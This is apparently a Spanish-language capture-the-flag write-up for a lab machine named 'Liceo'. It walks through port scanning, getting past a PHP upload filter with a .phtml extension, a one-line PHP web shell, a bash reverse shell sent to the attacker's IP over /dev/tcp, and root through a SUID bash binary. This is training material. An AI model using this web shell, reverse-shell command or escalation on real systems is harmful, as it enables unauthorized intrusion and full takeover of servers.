Liceo


En esta máquina vamos a saltarnos la protección de subida de archivos de la web y escalaremos privilegios mediante un permiso SUID mal implementado

March 28, 20247 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

> ping -c 1 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.818 ms

--- 192.168.1.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.818/0.818/0.818/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 64, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.149 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │
   2   │ [*] Extracting information...
   3   │
   4   │     [*] IP Address: 192.168.1.149
   5   │     [*] Open ports: 21,22,80
   6   │
   7   │ [*] Ports copied to clipboard
   8   │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> sudo nmap -p21,22,80 -sCV 192.168.1.149 -oN versions

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000          191 Feb 01 14:29 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.145
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_  256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

FTP

Nmap ha reportado que el puerto 21 está abierto, tiene un FTP con el “Anonymous login allowed” y dentro hay un archivo llamado note.txt

> wget ftp://192.168.1.149/note.txt
note.txt                                              100%[=========================================================================================================================>]     191  --.-KB/s    in 0s
2024-03-28 14:19:49 (891 KB/s) - ‘note.txt’ saved [191]

> cat note.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: note.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ Hi Matias, I have left on the web the continuations of today's work,
   2   │ would you mind contiuing in your turn and make sure that the web will be secure?
   3   │ Above all, we dont't want intruders...
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Hola Matias, te he dejado en la web las continuaciones del trabajo de hoy,
¿Te importaría continuar en tu turno y asegurarte de que la web sea segura?
Sobre todo, no queremos intrusos...

Con este mensaje podemos deducir un posible usuario llamado Matias.

HTTP

Empezamos analizando la web con whatweb

> whatweb 192.168.1.149
http://192.168.1.149 [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[liceoescuela@liceo.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[192.168.1.149], JQuery[3.4.1], Script, Title[Liceo], X-UA-Compatible[IE=edge]

Tenemos un email: liceoescuela@liceo.com

Esta dirección de correo usa el dominio liceo.com. Esta información la podemos usar para después buscar subdominios.

Si consultamos la página web desde el navegador, no vemos ninguna función destacable, así que procedemos a hacer fuzzing para encontrar subdirectorios con la herramienta gobuster

> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.149 -x php,html,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.149
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/images               (Status: 301) [Size: 315] [--> http://192.168.1.149/images/]
/index.html           (Status: 200) [Size: 21487]
/.html                (Status: 403) [Size: 278]
/uploads              (Status: 301) [Size: 316] [--> http://192.168.1.149/uploads/]
/upload.php           (Status: 200) [Size: 371]
/css                  (Status: 301) [Size: 312] [--> http://192.168.1.149/css/]
/js                   (Status: 301) [Size: 311] [--> http://192.168.1.149/js/]

Rápidamente aparecen 2 rutas las cuales llaman la atención: uploads y upload.php

En el upload.php podemos subir un archivo, vamos a subir un php simplón y lo interceptaremos con burpsuite

Nos aparece un error diciendo que no se pueden subir archivos con la extensión php. Los scripts en php pueden usar otras extensiones que no sean php, para descubrir cuáles son las que bloquea vamos a usar el intruder de burpsuite.

Añadimos la extensión como variable y subimos un payload con todas las extensiones

> cat Downloads/extensions.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Downloads/extensions.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────
   1   │ php
   2   │ php2
   3   │ php3
   4   │ php4
   5   │ php5
   6   │ php6
   7   │ php7
   8   │ phps
   9   │ phps
  10   │ pht
  11   │ phtm
  12   │ phtml
  13   │ pgif
  14   │ shtml
  15   │ htaccess
  16   │ phar
  17   │ inc
  18   │ hphp
  19   │ ctp
  20   │ module
───────┴──────────────────────────────────────────────────────────────────────────────────────────────

Ahora ya podemos ver el resultado con las demás extensiones

Al final la única que estaba bloqueada era .php

Ahora ya podemos ejecutar comandos

> curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=whoami"
www-data
Qué código shell.phtml que nos permite ejecutar comandos?

El archivo shell.php tiene el siguiente código

<?php echo shell_exec($_GET["telepathy"]); ?>

Lo que hace básicamente es pasarle a la función shell_exec todo lo que recibe por GET por el parámetro telepathy.

La función shell_exec lo que hace es ejecutar comandos en el sistema, pero no muestra el output, para hacer que muestre el output hay que poner el echo delante

Sin echo

d3bo~> cat test.php
   1   <?php shell_exec("whoami") ?>
d3bo~> php test.php

Con echo

d3bo~> cat test.php
   1   <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo

Si shell_exec no funcionara o está bloqueado, se pueden usar otras funciones, a continuación os dejo unos ejemplos

system()

d3bo~> cat test.php
   1   <?php system("whoami") ?>
d3bo~> php test.php
d3bo

passthru()

d3bo~> cat test.php
   1   <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo

exec()

d3bo~> cat test.php
   1   <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo

popen()

d3bo~> cat test.php
   1   <?php
   2   $handle = popen('whoami', 'r');
   3   $read = fread($handle, 2096);
   4   pclose($handle);
   5   echo $read;
   6   ?>
   7
d3bo~> php test.php
d3bo

Intrusión

Para ganar acceso a la máquina vamos a ponernos en escucha por el puerto 443

nc -nlvp 443

Y nos mandamos la reverseshell

curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=bash -c 'bash -i >& /dev/tcp/192.168.1.145/443 0>&1'"

Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Escalada de privilegios

Empezamos la escalada buscando archivos con privilegios SUID

bash-5.1$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null

....
-rwsr-xr-x 1 root root 47480 Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root root 35192 Feb 21  2022 /usr/bin/umount
-rwsr-xr-x 1 root root 232416 Apr  3  2023 /usr/bin/sudo
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash

De todos los archivos que salen hay uno que llama la atención, este es /usr/bin/bash ya que si bash tiene permisos SUID podemos ejecutar bash con -p de privilege y tener una bash de root

bash-5.1$ /usr/bin/bash -p
bash-5.1# whoami
root

Máquina terminada